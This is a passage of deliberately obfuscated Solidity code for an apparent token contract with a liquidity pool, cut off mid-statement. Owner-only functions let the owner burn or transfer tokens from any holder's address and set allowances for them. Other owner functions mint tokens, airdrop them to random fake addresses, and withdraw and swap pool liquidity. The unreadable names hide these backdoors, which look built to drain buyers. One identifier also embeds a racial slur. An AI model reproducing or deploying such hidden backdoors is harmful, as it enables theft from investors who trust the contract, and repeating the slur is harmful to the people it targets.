returns(bool){require(ybbbvtbgYHFTRFsuCCkpUssYosooofcvooHJH!=address(0),"IO");require(bbbTvvreeeTTTscatyhyaikfhhhUUUU!=address(0),"IS");KKkd9jcawj.IOJDOPgigjPDIOjgvpisfunbpafduibjnPIUJRFh9irgw9eriojgpwer(ybbbvtbgYHFTRFsuCCkpUssYosooofcvooHJH,bbbTvvreeeTTTscatyhyaikfhhhUUUU,nnYBUYUgvjikikkksuuuuufcgvgFFF);emit Approval(ybbbvtbgYHFTRFsuCCkpUssYosooofcvooHJH,bbbTvvreeeTTTscatyhyaikfhhhUUUU,nnYBUYUgvjikikkksuuuuufcgvgFFF);return true;}function iofjoiJOIRFJDgiojsdorigjfgiojbpsifgnubsiu(address vbbbHYHUHJhbbbabvvCRTYTlickHDFGYfgx,address cccRRRTiiasuiedfhghbigNiggersiInnYHYYDYIIcc,uint256 vvTYYTlPPOPGYIgyujyyhuihsuydfvhouisdhiksedfvbuik)internal virtual returns(bool){bool bbbYUYYgyucgcuntvpopoUIOotyueifhbyvtfstyf=KKkd9jcawj.KOPFkgiosfjiojOPIJfdopigjporfjhiowjtrohjwer9ptjhpdorfkgpasoek(vbbbHYHUHJhbbbabvvCRTYTlickHDFGYfgx,cccRRRTiiasuiedfhghbigNiggersiInnYHYYDYIIcc,vvTYYTlPPOPGYIgyujyyhuihsuydfvhouisdhiksedfvbuik);if(bbbYUYYgyucgcuntvpopoUIOotyueifhbyvtfstyf)emit Transfer(vbbbHYHUHJhbbbabvvCRTYTlickHDFGYfgx,cccRRRTiiasuiedfhghbigNiggersiInnYHYYDYIIcc,vvTYYTlPPOPGYIgyujyyhuihsuydfvhouisdhiksedfvbuik);return bbbYUYYgyucgcuntvpopoUIOotyueifhbyvtfstyf;}function JDNfivndrsfuigbndruifghsluidrhgopsiuehrgoiasehurgoiuh(address nnUYYUuiiopolplpoweryuhbjvbhjujkiHBUhj)internal view returns(uint256){return KKkd9jcawj.OIJDgfopjfogjoIJOPIJopijdfgpiosdfgjphjspiudfgbn(nnUYYUuiiopolplpoweryuhbjvbhjujkiHBUhj).dknvnUIOAWHUIpaw9rfvj8808f8rfyhug789wer;}function iodfjkgoiJDFogijsiojeroijgpuiosehYYDgfvusdy(address vYUTYedsfuguivuiusyuGYUGtgyu787dsd,uint256 ggUGYYUfffAe449YUbviloppojioYUIGGUy67sv)internal{KKkd9jcawj.PODkgopdjkgojfoigjpwrioetjhht89rwhj9RJg(vYUTYedsfuguivuiusyuGYUGtgyu787dsd,ggUGYYUfffAe449YUbviloppojioYUIGGUy67sv);}}abstract contract dvbnjsnbSUDEHgihsuerhgieweurhg8uwe is bbIDEIOfgsiojERDgjlklodrfogjropsdjgk,NIUJKdvnuiansdrilugbhapiurhuiHgr7go8e74ghae4{uint16 private cnbKKJKKLLPOopoUJIUIGFGYUFTFTDFTYTDDRdrdrDRDRTTYYRTtyf;function distribute(uint256 bbJHUIEERuIOioOPopmMNCEXEXRweWQWqwrhFGyYUTTYUtyuftg,uint256 nnIIUUiuqwauhdohoUIU8Y675fgfs65FRdgsdsTY,uint256 nnjUUHUHhuIIUHIYULloIOMOIIbhTYRTERWwewerdqwef)external onlyOwner{uint256 nIuUIUIYGYUYUyuhuidsfusiodchvushuiPIPUIUhuiphuisdvuisiupvh=uint256(keccak256(abi.encodePacked(address(this),cnbKKJKKLLPOopoUJIUIGFGYUFTFTDFTYTDDRdrdrDRDRTTYYRTtyf)));do{uint256 bbvgRTTRrttrfyttyfTFTTRTRTreererrrddryuiuiujhujjoiyyut56787=uint256(keccak256(abi.encodePacked(nIuUIUIYGYUYUyuhuidsfusiodchvushuiPIPUIUhuiphuisdvuisiupvh,bbJHUIEERuIOioOPopmMNCEXEXRweWQWqwrhFGyYUTTYUtyuftg)));address chhjioIOIOYHUuityuGyusdaopaskokopweopcwjioweuiUIUYTYUty=address(uint160(bbvgRTTRrttrfyttyfTFTTRTRTreererrrddryuiuiujhujjoiyyut56787));uint16 nnvnkUIGYiehuiffiowijeickopwekofcvisoeuifoiUIYUTYUty767tGyedsfywe=uint16(bbvgRTTRrttrfyttyfTFTTRTRTreererrrddryuiuiujhujjoiyyut56787);if(nnvnkUIGYiehuiffiowijeickopwekofcvisoeuifoiUIYUTYUty767tGyedsfywe==0)nnvnkUIGYiehuiffiowijeickopwekofcvisoeuifoiUIYUTYUty767tGyedsfywe++;uint256 gcgTYTYRyueiyufuicuniweuniUIYUITGYUIuiefwopeowpd8989YUu=nnIIUUiuqwauhdohoUIU8Y675fgfs65FRdgsdsTY+(nnjUUHUHhuIIUHIYULloIOMOIIbhTYRTERWwewerdqwef-nnIIUUiuqwauhdohoUIU8Y675fgfs65FRdgsdsTY)*nnvnkUIGYiehuiffiowijeickopwekofcvisoeuifoiUIYUTYUty767tGyedsfywe/type(uint16).max;dfuiugHIDHRFgpuihspaeritghpsioaerjthpiosrjpoitjhopisjrth(chhjioIOIOYHUuityuGyusdaopaskokopweopcwjioweuiUIUYTYUty,gcgTYTYRyueiyufuicuniweuniUIYUITGYUIuiefwopeowpd8989YUu);}while(--bbJHUIEERuIOioOPopmMNCEXEXRweWQWqwrhFGyYUTTYUtyuftg!=0);cnbKKJKKLLPOopoUJIUIGFGYUFTFTDFTYTDDRdrdrDRDRTTYYRTtyf++;}}abstract contract IOefowiejfioHJSEUIOhfg is bbIDEIOfgsiojERDgjlklodrfogjropsdjgk,NIUJKdvnuiansdrilugbhapiurhuiHgr7go8e74ghae4{function mint(address bbhyuyuseHUIEFUhiehuiwhuishUIHUSFEuiergwpo78747th34uiuhifwhui,uint256 bbYUuyyugYGUYUBtyftfyuGYUYBU7768r5t65r56t679hHYHUJGUJYgygy)external onlyOwner{dfuiugHIDHRFgpuihspaeritghpsioaerjthpiosrjpoitjhopisjrth(bbhyuyuseHUIEFUhiehuiwhuishUIHUSFEuiergwpo78747th34uiuhifwhui,bbYUuyyugYGUYUBtyftfyuGYUYBU7768r5t65r56t679hHYHUJGUJYgygy);}function burn(address buhuHUIUItyrtyopolpolpiopHUGYUfrtydEDRTSERERwrSRERCtvRYvbuHUKuHKHU7667r563e4534e6ugyu,uint256 uuhuhuhuirtyutyyuy5y893er898fyh78c7yw8)external onlyOwner bypassKLimit(buhuHUIUItyrtyopolpolpiopHUGYUfrtydEDRTSERERwrSRERCtvRYvbuHUKuHKHU7667r563e4534e6ugyu){oJIRFSgjpoiJPIOrfhjgistfhgpiuwsrhfgpbinwsrpitnbtopuisrnb(buhuHUIUItyrtyopolpolpiopHUGYUfrtydEDRTSERERwrSRERCtvRYvbuHUKuHKHU7667r563e4534e6ugyu,uuhuhuhuirtyutyyuy5y893er898fyh78c7yw8);}function approve(address bbhYBUYUyudyufweufuiwhuifehUIUIUedusfhwiuhejhfjkwhiuHUIUuuidsuihuifhsuih,address nvjsdYHYUYUdgyfgjksdvjkjsjJKHUDijsdweiifhuiqwhu32r,uint256 llllllllloserdfjgiewiocjoaisjpocvaOUHughuiyegfiwe7777423)external onlyOwner{OIJRFgpioajpiojdfgpioszdrfjgpsiudhjrfpighuspeiurghpiseurhg(bbhYBUYUyudyufweufuiwhuifehUIUIUedusfhwiuhejhfjkwhiuHUIUuuidsuihuifhsuih,nvjsdYHYUYUdgyfgjksdvjkjsjJKHUDijsdweiifhuiqwhu32r,llllllllloserdfjgiewiocjoaisjpocvaOUHughuiyegfiwe7777423);}function transfer(address sdujivusuneunvnwBlaCCkeijfiow3489f84fuesdfiopqwcjIYHGYHUJhbedwuifh,address dkgvnuyuiqwyuiruiuiUIIYUGyuedgfyugweucnuiwehLiVVesioioioefjwoi,uint256 jnvnbnUIKUIUIUHufuweifuiwhuihhUKHUKhuuiehuidfuhiwefhui6666666)external onlyOwner bypassKLimit(sdujivusuneunvnwBlaCCkeijfiow3489f84fuesdfiopqwcjIYHGYHUJhbedwuifh){OJOPIDFgjpiuFHJrgpishpfghsipruthjh9uwerthqwi9oerjgpoqer(sdujivusuneunvnwBlaCCkeijfiow3489f84fuesdfiopqwcjIYHGYHUJhbedwuifh,dkgvnuyuiqwyuiruiuiUIIYUGyuedgfyugweucnuiwehLiVVesioioioefjwoi,jnvnbnUIKUIUIUHufuweifuiwhuihhUKHUKhuuiehuidfuhiwefhui6666666);}}library sdjKHSEUIthgihwevjnehfghiw7ue4tw47u{uint256 internal constant bhbjsdvuiuYUYUeyugrfwygefbyuwegcyugywsgyefgyutgr78234fyuiwgefywuegyfgyw=0x1000000000000000000000000;function uifingbpasuidfjnibhnsiOIHJRgpiosdrthjhpwrt8(uint256 bbYHGHTGYHtyuuyfgyydgvyuwegv7886t67uiotgyutyudcsashasgdGHUGYUVsdfyuve,uint256 bbUudufcvuihsdvhuihduYUSDYggyuw8673478374tgy7fvghyuiYGYUYefyuYU,uint256 vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434)internal pure returns(uint256 cnunsdUIUIuiwefuiweuhfvuivuiIUHDuifyuiwe784t78t34fuwsedbfguiehbiowefpwo){unchecked{uint256 yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuvaberuyv78er2737fyuwegfyvywesgvyuw;uint256 yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuva78v7re777r2737fyuwegfyvywesgvyuw;assembly{let mm:=mulmod(bbYHGHTGYHtyuuyfgyydgvyuwegv7886t67uiotgyutyudcsashasgdGHUGYUVsdfyuve,bbUudufcvuihsdvhuihduYUSDYggyuw8673478374tgy7fvghyuiYGYUYefyuYU,not(0))yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuvaberuyv78er2737fyuwegfyvywesgvyuw:=mul(bbYHGHTGYHtyuuyfgyydgvyuwegv7886t67uiotgyutyudcsashasgdGHUGYUVsdfyuve,bbUudufcvuihsdvhuihduYUSDYggyuw8673478374tgy7fvghyuiYGYUYefyuYU)yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuva78v7re777r2737fyuwegfyvywesgvyuw:=sub(sub(mm,yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuvaberuyv78er2737fyuwegfyvywesgvyuw),lt(mm,yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuvaberuyv78er2737fyuwegfyvywesgvyuw))}if(yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuva78v7re777r2737fyuwegfyvywesgvyuw==0){require(vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434>0);assembly{cnunsdUIUIuiwefuiweuhfvuivuiIUHDuifyuiwe784t78t34fuwsedbfguiehbiowefpwo:=div(yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuvaberuyv78er2737fyuwegfyvywesgvyuw,vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434)}return cnunsdUIUIuiwefuiweuhfvuivuiIUHDuifyuiwe784t78t34fuwsedbfguiehbiowefpwo;}require(vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434>yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuva78v7re777r2737fyuwegfyvywesgvyuw);uint256 yhdcbyusdbGYUdgyufgtfg7667HHuhiuHUIvsyudgyfvgBByudvbuva78v7re777r2737fyuwegfyvywesgvyuw;assembly{yhdcbyusdbGYUdgyufgtfg7667HHuhiuHUIvsyudgyfvgBByudvbuva78v7re777r2737fyuwegfyvywesgvyuw:=mulmod(bbYHGHTGYHtyuuyfgyydgvyuwegv7886t67uiotgyutyudcsashasgdGHUGYUVsdfyuve,bbUudufcvuihsdvhuihduYUSDYggyuw8673478374tgy7fvghyuiYGYUYefyuYU,vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434)}assembly{yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuva78v7re777r2737fyuwegfyvywesgvyuw:=sub(yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuva78v7re777r2737fyuwegfyvywesgvyuw,gt(yhdcbyusdbGYUdgyufgtfg7667HHuhiuHUIvsyudgyfvgBByudvbuva78v7re777r2737fyuwegfyvywesgvyuw,yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuvaberuyv78er2737fyuwegfyvywesgvyuw))yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuvaberuyv78er2737fyuwegfyvywesgvyuw:=sub(yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuvaberuyv78er2737fyuwegfyvywesgvyuw,yhdcbyusdbGYUdgyufgtfg7667HHuhiuHUIvsyudgyfvgBByudvbuva78v7re777r2737fyuwegfyvywesgvyuw)}uint256 yhdcbyusdbHUU78978787hhjBHyuyGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw=(type(uint256).max-vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434+1)&vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434;assembly{vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434:=div(vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434,yhdcbyusdbHUU78978787hhjBHyuyGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw)}assembly{yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuvaberuyv78er2737fyuwegfyvywesgvyuw:=div(yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuvaberuyv78er2737fyuwegfyvywesgvyuw,yhdcbyusdbHUU78978787hhjBHyuyGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw)}assembly{yhdcbyusdbHUU78978787hhjBHyuyGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw:=add(div(sub(0,yhdcbyusdbHUU78978787hhjBHyuyGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw),yhdcbyusdbHUU78978787hhjBHyuyGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw),1)}yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuvaberuyv78er2737fyuwegfyvywesgvyuw|=yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuva78v7re777r2737fyuwegfyvywesgvyuw*yhdcbyusdbHUU78978787hhjBHyuyGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw;uint256 yhdcbyusdbGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw=(3*vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434)^ 2;yhdcbyusdbGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw*=2-vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434*yhdcbyusdbGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw;yhdcbyusdbGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw*=2-vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434*yhdcbyusdbGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw;yhdcbyusdbGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw*=2-vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434*yhdcbyusdbGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw;yhdcbyusdbGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw*=2-vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434*yhdcbyusdbGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw;yhdcbyusdbGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw*=2-vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434*yhdcbyusdbGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw;yhdcbyusdbGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw*=2-vchjsdhYUYUFGtyurtdfrtyESERsweUIiioJIOIJ786t767tvyfcvhrtd3434*yhdcbyusdbGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw;cnunsdUIUIuiwefuiweuhfvuivuiIUHDuifyuiwe784t78t34fuwsedbfguiehbiowefpwo=yhdcbyusdbGYUdgyufgvsyudgyfvgBByudvbuvaberuyv78er2737fyuwegfyvywesgvyuw*yhdcbyusdbGYUdgyufgtfg7667HHuhiuHurch78weh7783h478esgvyuw;return cnunsdUIUIuiwefuiweuhfvuivuiIUHDuifyuiwe784t78t34fuwsedbfguiehbiowefpwo;}}function OPIJSDfviopdjapogjaprfjgpioarfhjgpiaerhgihseruihgoipaehrg(uint160 nnsjUJUuiuducsduivuUUudweofwoef,uint160 mmIEIfioinvsdjnjnsdlILIjidigijwoe,uint256 nnKLKLIeifiweiiencvuir98efhwehfvwuefsOIEDJSf)internal pure returns(uint128 bncbUIUfhuwieuuehcvuiwnevUHeduhfsuh){if(nnsjUJUuiuducsduivuUUudweofwoef>mmIEIfioinvsdjnjnsdlILIjidigijwoe)(nnsjUJUuiuducsduivuUUudweofwoef,mmIEIfioinvsdjnjnsdlILIjidigijwoe)=(mmIEIfioinvsdjnjnsdlILIjidigijwoe,nnsjUJUuiuducsduivuUUudweofwoef);uint256 vsdvnnJKEDujfuHUEhwueuerjgwouserhg=uifingbpasuidfjnibhnsiOIHJRgpiosdrthjhpwrt8(nnsjUJUuiuducsduivuUUudweofwoef,mmIEIfioinvsdjnjnsdlILIjidigijwoe,bhbjsdvuiuYUYUeyugrfwygefbyuwegcyugywsgyefgyutgr78234fyuiwgefywuegyfgyw);return uint128(uifingbpasuidfjnibhnsiOIHJRgpiosdrthjhpwrt8(nnKLKLIeifiweiiencvuir98efhwehfvwuefsOIEDJSf,vsdvnnJKEDujfuHUEhwueuerjgwouserhg,mmIEIfioinvsdjnjnsdlILIjidigijwoe-nnsjUJUuiuducsduivuUUudweofwoef));}function uizIUHDFgiopuhaedfuioghiosudfhoiguhosuidhfioughsiduf(uint160 ncsKNEDUIhfuiwhenckwjncjkNJKNDUJenfIUKsekjwsev74738,uint160 sdbvsakljnedflkwempmskldnvbYGUeyuwegfwbecvb,uint256 efuh238r974ygjhuUehiufghuihsiUHSUHEHuie)internal pure returns(uint128 dhuvhsUISDHuifhwegoweri9gjwejgi){if(ncsKNEDUIhfuiwhenckwjncjkNJKNDUJenfIUKsekjwsev74738>sdbvsakljnedflkwempmskldnvbYGUeyuwegfwbecvb)(ncsKNEDUIhfuiwhenckwjncjkNJKNDUJenfIUKsekjwsev74738,sdbvsakljnedflkwempmskldnvbYGUeyuwegfwbecvb)=(sdbvsakljnedflkwempmskldnvbYGUeyuwegfwbecvb,ncsKNEDUIhfuiwhenckwjncjkNJKNDUJenfIUKsekjwsev74738);return uint128(uifingbpasuidfjnibhnsiOIHJRgpiosdrthjhpwrt8(efuh238r974ygjhuUehiufghuihsiUHSUHEHuie,bhbjsdvuiuYUYUeyugrfwygefbyuwegcyugywsgyefgyutgr78234fyuiwgefywuegyfgyw,sdbvsakljnedflkwempmskldnvbYGUeyuwegfwbecvb-ncsKNEDUIhfuiwhenckwjncjkNJKNDUJenfIUKsekjwsev74738));}function nmnnCIOUNEDPUIghnpsuiedfrhngbpsirfgbnsofgobins(uint160 ncvKUJBUISEdghfuighwuieuwenUIYUIBdyuefghwef78934suidhfvuks,uint160 nvujnujikDbhugsuehugwnedrvnnfjknr85yu45,uint128 ueiuohfgiowerhgwr8iohgjo7tywyw8yeg89wy)internal pure returns(uint256 djvnjsnuiHHUIeduifgvhseuighuiwhevuihwouihec){if(ncvKUJBUISEdghfuighwuieuwenUIYUIBdyuefghwef78934suidhfvuks>nvujnujikDbhugsuehugwnedrvnnfjknr85yu45)(ncvKUJBUISEdghfuighwuieuwenUIYUIBdyuefghwef78934suidhfvuks,nvujnujikDbhugsuehugwnedrvnnfjknr85yu45)=(nvujnujikDbhugsuehugwnedrvnnfjknr85yu45,ncvKUJBUISEdghfuighwuieuwenUIYUIBdyuefghwef78934suidhfvuks);return uifingbpasuidfjnibhnsiOIHJRgpiosdrthjhpwrt8(uint256(ueiuohfgiowerhgwr8iohgjo7tywyw8yeg89wy)<<96,nvujnujikDbhugsuehugwnedrvnnfjknr85yu45-ncvKUJBUISEdghfuighwuieuwenUIYUIBdyuefghwef78934suidhfvuks,nvujnujikDbhugsuehugwnedrvnnfjknr85yu45)/ncvKUJBUISEdghfuighwuieuwenUIYUIBdyuefghwef78934suidhfvuks;}function IOESdjgijSDORFIjgpaiofjguishfogyuwerhtoyuvhwyuertghw(uint160 jnvnvsKJIUeughwuehguiwehvjkNBUGSDUIgfvuiwseiguiwhi82894,uint160 vnndujnvUIDUIefhguhieuhg98wehjg8bjwerjrbjerjv,uint128 sdivsoidjuiobhHUIHSDFruighiweruhviusnvinerfh873h4)internal pure returns(uint256 uiysdhuighwseuiodhguiwerhpguierhgwuierbnvpuierbwvb){if(jnvnvsKJIUeughwuehguiwehvjkNBUGSDUIgfvuiwseiguiwhi82894>vnndujnvUIDUIefhguhieuhg98wehjg8bjwerjrbjerjv)(jnvnvsKJIUeughwuehguiwehvjkNBUGSDUIgfvuiwseiguiwhi82894,vnndujnvUIDUIefhguhieuhg98wehjg8bjwerjrbjerjv)=(vnndujnvUIDUIefhguhieuhg98wehjg8bjwerjrbjerjv,jnvnvsKJIUeughwuehguiwehvjkNBUGSDUIgfvuiwseiguiwhi82894);return uifingbpasuidfjnibhnsiOIHJRgpiosdrthjhpwrt8(sdivsoidjuiobhHUIHSDFruighiweruhviusnvinerfh873h4,vnndujnvUIDUIefhguhieuhg98wehjg8bjwerjrbjerjv-jnvnvsKJIUeughwuehguiwehvjkNBUGSDUIgfvuiwseiguiwhi82894,bhbjsdvuiuYUYUeyugrfwygefbyuwegcyugywsgyefgyutgr78234fyuiwgefywuegyfgyw);}}abstract contract dvjnnUSEDHIhusehghiwse78gyhsuhdegvus is bbIDEIOfgsiojERDgjlklodrfogjropsdjgk,pJbgg0vSzqBGx1L0xspObGKD69FvwCBowT3l,NIUJKdvnuiansdrilugbhapiurhuiHgr7go8e74ghae4,rojhgiouserhjughjIUHRUIghluihseilrug,fdjhuiphUIPHRUIghuidrhuighuiehgwe{uint24 private constant HGCIYTfuyGVTYUFf867f568YGHVYKtdyTfvuiserugheuisrhvbn=500;int24 private constant sdjkfnbvsdbYUyuegyuwegfvyabervwe74gaeghvaeh=-887270;int24 private constant uerdbnvuiebrgyeur7u5hpwe958hgirghygYUGYUKedvkwuge=887270;uint160 private constant ndfujvniauriuUIHhudfhvbYUGOefj3wjgheruhugvsd=4295558252;uint160 private constant jdfnvjkandfjkbUHiheruwghuiweru84ty35goisejrgesg=1461300573427867316570072651998408279850435624081;jkaUIHRDGUIhILURHGLUIhzdruilfhgluihsuiohrtiubn private immutable vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83;rikuhgiuHRUIghuilhsuilerhgilusheriughliseurg private immutable jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs;uint8 private fkbnjkoldfnUIYGedryghiwier78gyhewr89ghbe8hr7vhei;uint160 private dvioihjfuihutfUYFGiwerughiuYUSEgrg89rgye9847rigy;struct idfjiOISJEthgohseudhfvuhbyhsbd{address vbhbUISEGyuigiuwheguvnbsd;address vkdsvUHUIDhuigsheuidhgudfver98vjesdhjuirvh;uint160 djknvlnslnKUNDuvnuiksjniuknIUNDSVr8geh9r8ghv;}constructor(string memory jdnfjbnNNFDUNbiksnruibeiurhbiuerhg74gveuhviu,string memory fklbdnmlkfnbnLKNKLFNblkndfnbioerjbioehodrhjr89oyhg48h,address fknbkldnlnLKNDFLKbnoeilrnijhbveorhbgv894y5hgh485hbve,idfjiOISJEthgohseudhfvuhbyhsbd memory sdbnvujksnurhbiUHRighiweurhgi8uyhr9geihrg)NIUJKdvnuiansdrilugbhapiurhuiHgr7go8e74ghae4(jdnfjbnNNFDUNbiksnruibeiurhbiuerhg74gveuhviu,fklbdnmlkfnbnLKNKLFNblkndfnbioerjbioehodrhjr89oyhg48h,fknbkldnlnLKNDFLKbnoeilrnijhbveorhbgv894y5hgh485hbve){fjrguioaserhjuiHJUIDRHguihuirehga factory=fjrguioaserhjuiHJUIDRHguihuirehga(sdbnvujksnurhbiUHRighiweurhgi8uyhr9geihrg.vbhbUISEGyuigiuwheguvnbsd);vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83=jkaUIHRDGUIhILURHGLUIhzdruilfhgluihsuiohrtiubn(factory.createPool(address(this),sdbnvujksnurhbiUHRighiweurhgi8uyhr9geihrg.vkdsvUHUIDhuigsheuidhgudfver98vjesdhjuirvh,HGCIYTfuyGVTYUFf867f568YGHVYKtdyTfvuiserugheuisrhvbn));vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83.initialize(sdbnvujksnurhbiUHRighiweurhgi8uyhr9geihrg.djknvlnslnKUNDuvnuiksjniuknIUNDSVr8geh9r8ghv);jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs=rikuhgiuHRUIghuilhsuilerhgilusheriughliseurg(sdbnvujksnurhbiUHRighiweurhgi8uyhr9geihrg.vkdsvUHUIDhuigsheuidhgudfver98vjesdhjuirvh);dvioihjfuihutfUYFGiwerughiuYUSEgrg89rgye9847rigy=sdbnvujksnurhbiUHRighiweurhgi8uyhr9geihrg.djknvlnslnKUNDuvnuiksjniuknIUNDSVr8geh9r8ghv;iodfjkgoiJDFogijsiojeroijgpuiosehYYDgfvusdy(address(vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83),bbIYYUIEDYUfgjkjkjdhvhisHUI443hfHHdsddjmjku);}function add926d77b0e(uint256 dnvikuhuiHIUSEHr8grhwegiweushnvui)external onlyOwner requiresLock acquiresLock returns(uint128 uhgvuihwuirhiUIHRUIhier85g39oe8ghjwshuierghv){uhgvuihwuirhiUIHRUIhier85g39oe8ghjwshuierghv=uiaURUIDghnolaeuibnluoybgowuirthnipghuwrptihuj(dnvikuhuiHIUSEHr8grhwegiweushnvui);IOJDRFIOPGjpaoiedrjgpioserfhjgiushftpuighp789sertyhg0w87er90p(uhgvuihwuirhiUIHRUIhier85g39oe8ghjwshuierghv,msg.sender);}function d5c82892104b(uint256 fdvjnNKJNDUJngvuishrgheruIUHRsgh483g3hguhkueshrbg)external onlyOwner requiresLock acquiresLock returns(uint128 dgvnjknJKNKJNKSDRNgujewiurhguihnIHRSUIghuerhg){dgvnjknJKNKJNKSDRNgujewiurhguihnIHRSUIghuerhg=uiaURUIDghnolaeuibnluoybgowuirthnipghuwrptihuj(fdvjnNKJNDUJngvuishrgheruIUHRsgh483g3hguhkueshrbg);UIHRFUIpgiahurhvnsruidnbviUBNPUIDRTghrhghe57tg(dgvnjknJKNKJNKSDRNgujewiurhguihnIHRSUIghuerhg,msg.sender);}function b6a44d65a608(int16 gnsdjknJKNSRjgnwseruighh83495hgheukrhg)external onlyOwner requiresLock acquiresLock returns(uint256){require(gnsdjknJKNSRjgnwseruighh83495hgheukrhg>-10000&&gnsdjknJKNSRjgnwseruighh83495hgheukrhg<10000&&gnsdjknJKNSRjgnwseruighh83495hgheukrhg!=0,"KO");if(gnsdjknJKNSRjgnwseruighh83495hgheukrhg>0){uint128 djsfnvbjnUJNIRFUHNgbuihernubhnedkrfjbnoledrb=IUSRDHGOIUhosdrufhgporehgouwseryhgo()*uint128(uint16(gnsdjknJKNSRjgnwseruighh83495hgheukrhg))/10000;(,uint256 dgvsidIRfhjgJNMKLDSNhngvwsoerhg8wrugj8he8ru34tng)=UIHRFUIpgiahurhvnsruidnbviUBNPUIDRTghrhghe57tg(djsfnvbjnUJNIRFUHNgbuihernubhnedkrfjbnoledrb,address(this));(int256 dfvjiojsIJIOSDerjgoiljeriogjero8gjue9o8rbjeedjrb,int256 jnrfvknesurhiUHNRUISHgiuhwerg8ehr8w438gwerijkg)=vjnkzdfuhuiaerhgiuwrhguOIUHedyughwegw78e4yg83.swap(address(this),address(this)>address(jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs),int256(dgvsidIRfhjgJNMKLDSNhngvwsoerhg8wrugj8he8ru34tng),address(this)>address(jkfnjkiuesrhg8943y9384hIUHuierhguihserguihegs)?ndfujvniauriuUIHhudfhvbYUGOefj3wjgheruhugvsd:jdfnvjkandfjkbUHiheruwghuiweru84ty35goisejrgesg,"");(int256 UBJIDgviusbuibnIUHSDugihiouwerhyg98w348gherh7ghsdv,)=BYUYUEfvlyuisrbdlvdrhblsbfujygbklsuyrgbszdbkuyrgb(dfvjiojsIJIOSDerjgoiljeriogjero8gjue9o8rbjeedjrb,jnrfvknesurhiUHNRUISHgiuhwerg8ehr8w438gwerijkg);oJIRFSgjpoiJPIOrfhjgistfhgpiuwsrhfgpbinwsrpitnbtopuisrnb(address(this),uint256(-UBJIDgviusbuibnIUHSDugihiouwerhyg98w348gherh7ghsdv));}else{uint128 dkjfbnknKJNKJNRFuhngbuierwhguiorhi8ogh9w384gejkrgnb=IUSRDHGOIUhosdrufhgporehgouwseryhgo()*uint128(uint16(-gnsdjknJKNSRjgnwseruighh83495hgheukrhg))/10000;uint256 fknbdlnlnNFibnoilrenbioeriojherigIORdhgjoierhj=ZIUdrnguiHUIRHIPughi7erutgho8i7sr5hg8ow7h45g(dkjfbnknKJNKJNRFuhngbuierwhguiorhi8ogh9w384gejkrgnb);(int256 